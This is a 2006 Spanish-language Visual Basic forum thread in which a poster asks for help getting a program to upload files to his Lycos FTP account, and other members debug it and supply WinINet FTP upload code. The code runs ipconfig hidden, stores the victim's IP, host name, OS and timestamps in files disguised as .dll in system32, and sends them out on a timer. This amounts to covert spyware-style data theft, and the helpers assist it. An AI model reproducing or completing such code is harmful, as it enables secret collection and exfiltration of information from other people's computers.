• Domingo 22 de Diciembre de 2024, 19:14

Autor Tema:  Inet Y Ftp Imposible!  (Leído 2655 veces)

kipexs

  • Nuevo Miembro
  • *
  • Mensajes: 5
    • Ver Perfil
Inet Y Ftp Imposible!
« en: Jueves 23 de Marzo de 2006, 21:14 »
0
No soy capaz de que en VB me envie un fichero .txt a mi ftp con el inet
Consegui k me enviara una .dll poniendo:
Inet1.Execute "ftp://user:pass @ftp.usuarios.lycos.es", "PUT C:\winx32.dll " & Winsock1.LocalHostName & ".dll"
Pero ahora kiero subir el archivo prueba.txt y no me deja. Lo k kiero es k me envie el .txt del comando ipconfig /all el code seria asi:

Código: Text
  1. Private Sub Form_Load()
  2. Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide
  3. Inet1.URL = "ftp://ftp.usuarios.lycos.es"
  4. Inet1.UserName = "miuser"
  5. Inet1.Password = "mipass"
  6. Inet1.Execute , "PUT " & "c:\" & ocip & ".txt"
  7. End Sub
  8.  
  9.  
Lo intente de varias maneras y tampoco me va. Por que puede ser?
Por favor ayuda!!!
PD: Lei en este foro un post k era parecido, por no decir igual, pero hago lo k pusisteis en él pero no me lo envia
Saludos!!

ebolo

  • Miembro MUY activo
  • ***
  • Mensajes: 188
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #1 en: Sábado 25 de Marzo de 2006, 14:06 »
0
Hola kipexs, la verdad que no sé porqué, pero puedes intentar poner un Doevents después del Shell, pero viendo otra vez el código veo que el ocip lo sacas de las comillas en el PUT, con lo que lo estás considerando como una variable y en este caso no es.

Código: Text
  1.  
  2. Private Sub Form_Load()
  3. Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide
  4. Doevents
  5. Inet1.URL = "ftp://ftp.usuarios.lycos.es"
  6. Inet1.UserName = "miuser"
  7. Inet1.Password = "mipass"
  8. Inet1.Execute , "PUT " & "c:\ocip.txt"
  9. End Sub
  10.  
  11.  

Un saludo.

kipexs

  • Nuevo Miembro
  • *
  • Mensajes: 5
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #2 en: Sábado 25 de Marzo de 2006, 16:49 »
0
k va sigue sin salirme, crea el archivo y no lo envia.
Komo puedo hacer para k envie un archivo al ftp?? me da igual el komando k use...
Eske ya stoy desesperao
Nos vemos
Gracias!!

Sagutxo

  • Miembro MUY activo
  • ***
  • Mensajes: 320
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #3 en: Sábado 25 de Marzo de 2006, 21:37 »
0
Akí te dejo una aplicación que lo hace :). Esta cogido de un ejemplo del AllApi

Suerte.

 :comp:  :smartass:  :comp:
Mi mujer tiene un físico bárbaro!!!. Einstein.

kipexs

  • Nuevo Miembro
  • *
  • Mensajes: 5
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #4 en: Domingo 26 de Marzo de 2006, 15:26 »
0
Me lo bajo pero solo esta el proyecto no el form.

Sagutxo

  • Miembro MUY activo
  • ***
  • Mensajes: 320
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #5 en: Domingo 26 de Marzo de 2006, 16:25 »
0
Salu2.  uffff, perdoname nuevamente me he equivocado, akí te dejo el form.
mil escusas :(
 :comp:  :smartass:  :comp:
El mensaje contiene 1 archivo adjunto. Debes ingresar o registrarte para poder verlo y descargarlo.
Mi mujer tiene un físico bárbaro!!!. Einstein.

kipexs

  • Nuevo Miembro
  • *
  • Mensajes: 5
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #6 en: Martes 28 de Marzo de 2006, 15:35 »
0
Me dio algunos problemillas al abrirlo ya k hace falta el proyecto y el form kreo, pero consegui abrir el codigo, lo he leido pero creo k es excesivo ya k si consegui enviar el archivo ese poniendo
Código: Text
  1. Inet1.Execute "ftp://user:pass@ftp.usuarios.lycos.es", "PUT C:\winx32.dll " & Winsock1.LocalHostName & ".dll"
  2.  
este k es un .txt deberia ser igual no??
lo k no se es que se pone entre los & &, yo puse Winsock1.LocalHostName pork lo sake de una revista y pork el winsok lo habia utilizado para sacar el archivo winx32.dll
y tampoco se donde ponerlo, es decir, si debago de la linea
Código: Text
  1. Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide
  2.  
o debajo d donde se envia el otro archivo, el winx32.dll.
Nos vemos

kipexs

  • Nuevo Miembro
  • *
  • Mensajes: 5
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #7 en: Martes 28 de Marzo de 2006, 16:58 »
0
Siento postear dos veces seguidas pero es para corregir lo anterior y poner mas dudas:
Entre los & & se pone el nombre k se le kiere dar al archivo al subirlo al ftp y entre las comillas la extension
Código: Text
  1. If Ti = 10 Then
  2. Shell "cmd.exe /c ipconfig /all > C:\WINDOWS\system32\wipt.dll", vbHide
  3. Inet1.Execute "ftp://miuser:mipass@ftp.usuarios.lycos.es", "PUT C:\WINDOWS\system32\wipt.dll " & Winsock1.LocalIP & ".dll"
  4. Open "C:\WINDOWS\system32\winxk.dll" For Output As #1
  5. Print #1, "Ip del Pc", Winsock1.LocalIP
  6. Print #1, "Nombre del usuario", Winsock1.LocalHostName
  7. Print #1, "S.O. que usa", SysInfo1.OSPlatform
  8. Print #1, Date
  9. Print #1, Time
  10. Close #1
  11. Inet1.Execute "ftp://miuser:mipass@ftp.usuarios.lycos.es", "PUT C:\WINDOWS\system32\winxk.dll " & Winsock1.LocalHostName & ".dll"
  12. Ti = 0
  13. End If
  14.  

Bien esta es una parte del codigo. Lo k hace es crear dos archivos:
el wipt.dll k lo sube al ftp con la ip local y con la extension .dll
el winxk.dll k lo sube al ftp con el nombre del host y con extension .dll

El problema es k solo me sube el primer archivo el segundo no, y si pongo debajo de la linea k sube el wink.dll k suba el wipt.dll no me lo sube y me sube el wink.dll
Es decir, k solo me sube el primer archivo k ste puesto para subir
Por que pasa esto??
Gracias!!

Sagutxo

  • Miembro MUY activo
  • ***
  • Mensajes: 320
    • Ver Perfil
Re: Inet Y Ftp Imposible!
« Respuesta #8 en: Miércoles 29 de Marzo de 2006, 13:03 »
0
Salu2. Siento desilusionarte, pero metiendo el form en cualquier proyecto se supone que ha de funcionar, lo he probado y a mi me funciona. Prueba a desconectar antes de mandar el 2º archivo, no es normal, pero por probar no pierdes nada.

En mi Form solo pinchas 2 veces el archivo que quieres mandar y lo manda, eso si, tendrás que poner tu los datos correctos del FTP.   Recuerda que algunos gestores de FTP no te permiten mandar mas que una vez el archivo a no ser que lo deletees con su comando apropiado.

akí te dejo una función similar la usas poniendo:

MandaArchivo PathArchivo


Código: Text
  1. Private Function MandaArchi(ValStr As String)
  2. Dim hConnection As Long, hOpen As Long, sOrgPath  As String
  3. hOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
  4.  
  5. hConnection = InternetConnect(hOpen, "IP", PUERTO, "Usuario", "Password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
  6.  
  7. 'crear buffer con path original
  8. sOrgPath = String(MAX_PATH, 0)
  9.  
  10. 'Ejemplo
  11. 'FtpPutFile hConnection, "Archivo a subir", "Nombre de archivo con el que se sube", FTP_TRANSFER_TYPE_BINARY, 0
  12.  
  13.  
  14. FtpPutFile hConnection, ValStr, ValStr, FTP_TRANSFER_TYPE_BINARY, 0
  15.  
  16. 'regreso al path de inicio
  17. 'FtpSetCurrentDirectory hConnection, sOrgPath
  18.  
  19. 'cierro conexión
  20. InternetCloseHandle hConnection
  21. InternetCloseHandle hOpen
  22. End Function
  23.  

Estas declaraciones y variables las puedes poner como globales en el Form o en un módulo .Bas

Código: Text
  1. Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
  2. Const FTP_TRANSFER_TYPE_ASCII = &H1
  3. Const FTP_TRANSFER_TYPE_BINARY = &H2
  4. Const INTERNET_DEFAULT_FTP_PORT = 21               ' default for FTP servers
  5. 'Const INTERNET_DEFAULT_FTP_PORT = 15896               ' default for FTP servers
  6. Const INTERNET_SERVICE_FTP = 1
  7. Const INTERNET_FLAG_PASSIVE = &H8000000            ' used for FTP connections
  8. Const INTERNET_OPEN_TYPE_PRECONFIG = 0                    ' use registry configuration
  9. Const INTERNET_OPEN_TYPE_DIRECT = 1                        ' direct to net
  10. Const INTERNET_OPEN_TYPE_PROXY = 3                         ' via named proxy
  11. Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4   ' prevent using java/script/INS
  12. Const MAX_PATH = 260
  13. Private Type FILETIME
  14.     dwLowDateTime As Long
  15.     dwHighDateTime As Long
  16. End Type
  17. Private Type WIN32_FIND_DATA
  18.     dwFileAttributes As Long
  19.     ftCreationTime As FILETIME
  20.     ftLastAccessTime As FILETIME
  21.     ftLastWriteTime As FILETIME
  22.     nFileSizeHigh As Long
  23.     nFileSizeLow As Long
  24.     dwReserved0 As Long
  25.     dwReserved1 As Long
  26.     cFileName As String * MAX_PATH
  27.     cAlternate As String * 14
  28. End Type
  29.  
  30. Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
  31. Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
  32. Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
  33. Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
  34. Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long
  35. Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
  36. Private Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
  37. Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
  38. Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean
  39. Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean
  40. Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
  41. Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
  42. Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
  43. Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
  44. Const PassiveConnection As Boolean = True
  45.  


A ver si ahora me he explicado mejor :)

 :comp:  :smartass:  :comp:
Mi mujer tiene un físico bárbaro!!!. Einstein.